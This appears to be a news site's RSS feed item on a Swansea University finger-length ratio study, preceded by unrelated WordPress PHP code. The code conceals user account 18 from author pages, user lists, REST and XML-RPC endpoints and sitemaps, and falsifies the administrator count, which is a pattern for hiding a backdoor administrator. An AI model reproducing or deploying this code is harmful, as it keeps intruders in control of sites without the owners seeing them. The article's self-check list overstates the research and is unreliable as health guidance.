add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	<title>Prenatal Hormones Archives &#8211; The Edge Media</title>
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	<link>https://theedgemedia.in/tag/prenatal-hormones</link>
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	<item>
		<title>The Science of Finger Length and Brain Development</title>
		<link>https://theedgemedia.in/finger-length-ratio-brain-development-research</link>
					<comments>https://theedgemedia.in/finger-length-ratio-brain-development-research#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Wed, 11 Feb 2026 16:00:12 +0000</pubDate>
				<category><![CDATA[Health & Medical]]></category>
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		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[National Edge]]></category>
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		<category><![CDATA[2D:4D ratio]]></category>
		<category><![CDATA[Brain Development]]></category>
		<category><![CDATA[health research]]></category>
		<category><![CDATA[Prenatal Hormones]]></category>
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		<category><![CDATA[Swansea University]]></category>
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					<description><![CDATA[<p>Recent research from Swansea University suggests that the ratio between your index and ring fingers can provide insights into your brain development and prenatal hormone exposure.</p>
<p>The post <a href="https://theedgemedia.in/finger-length-ratio-brain-development-research">The Science of Finger Length and Brain Development</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Experts from<strong> Swansea University</strong> in Britain have recently conducted a study suggesting that the physical structure of your fingers can reveal secrets about your brain&#8217;s agility. The researchers believe that hormones received in the mother&#8217;s womb do not just determine finger length, but also play a role in increasing brain size. This phenomenon is referred to as the <strong>2D:4D ratio</strong>, where 2D represents the<strong> index finger</strong> and 4D represents the <strong>ring finger</strong>.<a href="https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839.jpg"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-29172" src="https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839-300x168.jpg" alt="" width="737" height="413" srcset="https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839-300x168.jpg 300w, https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839-1024x575.jpg 1024w, https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839-768x431.jpg 768w, https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839-750x421.jpg 750w, https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839-1140x640.jpg 1140w, https://theedgemedia.in/wp-content/uploads/2026/02/finger-brain-2-e1770955246839.jpg 1193w" sizes="(max-width: 737px) 100vw, 737px" /></a></p>
<blockquote><p><span style="color: #008000;"><em>The study, which involved research on 225 young children, found that boys with longer index fingers tended to have a larger head circumference. A larger head circumference is often associated with a brain that develops rapidly. This discovery suggests that specific developmental traits are established even before birth.</em></span></p></blockquote>
<p>The length of the fingers depends on which hormones are more prevalent before birth. While a larger brain is often seen as a sign of quick intelligence and good memory, researchers noted that evolution played a role over millions of years as the human body adapted. Interestingly, while high estrogen levels might lead to a larger brain, it can also mean the body may have to work harder to fight certain diseases in the future.</p>
<p><strong>How to check yourself:</strong><br />
* If your first finger (index) is long, your brain may have grown very rapidly during childhood.<br />
* If your ring finger is longer, it may indicate a natural aptitude for sports or high-intensity physical activities.<br />
* Your fingers are essentially a small &#8220;report card&#8221; of your biological development.</p>
<p>The post <a href="https://theedgemedia.in/finger-length-ratio-brain-development-research">The Science of Finger Length and Brain Development</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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